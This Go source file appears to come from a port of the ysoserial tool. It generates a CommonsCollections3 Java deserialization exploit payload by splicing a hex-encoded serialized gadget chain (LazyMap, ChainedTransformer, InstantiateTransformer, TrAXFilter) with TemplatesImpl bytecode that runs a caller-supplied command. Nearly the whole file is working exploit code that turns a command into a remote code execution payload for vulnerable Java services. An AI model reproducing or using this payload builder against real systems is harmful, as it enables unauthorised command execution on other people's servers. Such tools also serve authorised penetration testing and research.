package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CC3 = "CommonsCollections3"

func GetCommonsCollections3(cmd string) []byte {
	globalPrefix := "ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E" +
		"2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA5" +
		"0200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B" +
		"4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D0000000100" +
		"0D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E" +
		"50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265" +
		"666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A" +
		"6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C" +
		"617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F61" +
		"70616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65" +
		"723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F" +
		"6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A" +
		"97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F617061636865" +
		"2F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B787075" +
		"72002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E" +
		"5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F7267" +
		"2E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F7273" +
		"2E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C00096943" +
		"6F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B787076720037636F" +
		"6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74" +
		"632E747261782E5472415846696C746572000000000000000000000078707372003E6F72" +
		"672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72" +
		"732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B" +
		"000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172" +
		"616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C" +
		"6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372" +
		"003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E" +
		"78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649" +
		"000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F" +
		"62797465636F6465737400035B5B425B00065F636C61737371007E00184C00055F6E616D" +
		"657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F70" +
		"6572746965737400164C6A6176612F7574696C2F50726F706572746965733B7870000000" +
		"00FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42AC" +
		"F317F8060854E00200007870"
	templateImpl := GetFrohoffTemplateImpl(cmd)
	templateImplStr := hex.EncodeToString(templateImpl)
	length := len(templateImpl)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7571007E0023000001D4CAFEBABE00000032001B0A000300150700170700" +
		"1807001901001073657269616C56657273696F6E5549440100014A01000D436F6E737461" +
		"6E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F" +
		"646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C65" +
		"5461626C6501000474686973010003466F6F01000C496E6E6572436C6173736573010025" +
		"4C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F" +
		"3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B0700" +
		"1A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324" +
		"466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F536572" +
		"69616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F" +
		"47616467657473002100020003000100040001001A000500060001000700000002000800" +
		"010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000" +
		"000600010000003C000E0000000C000100000005000F0012000000020013000000020014" +
		"00110000000A000100020016001000097074000450776E727077010078757200125B4C6A" +
		"6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D" +
		"6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000" +
		"000000007870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103" +
		"000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000" +
		"00770800000010000000007878767200126A6176612E6C616E672E4F7665727269646500" +
		"00000000000000000000787071007E002E"
	temp := globalPrefix + lenStr + templateImplStr + globalSuffix
	data, _ := hex.DecodeString(temp)
	return data
}
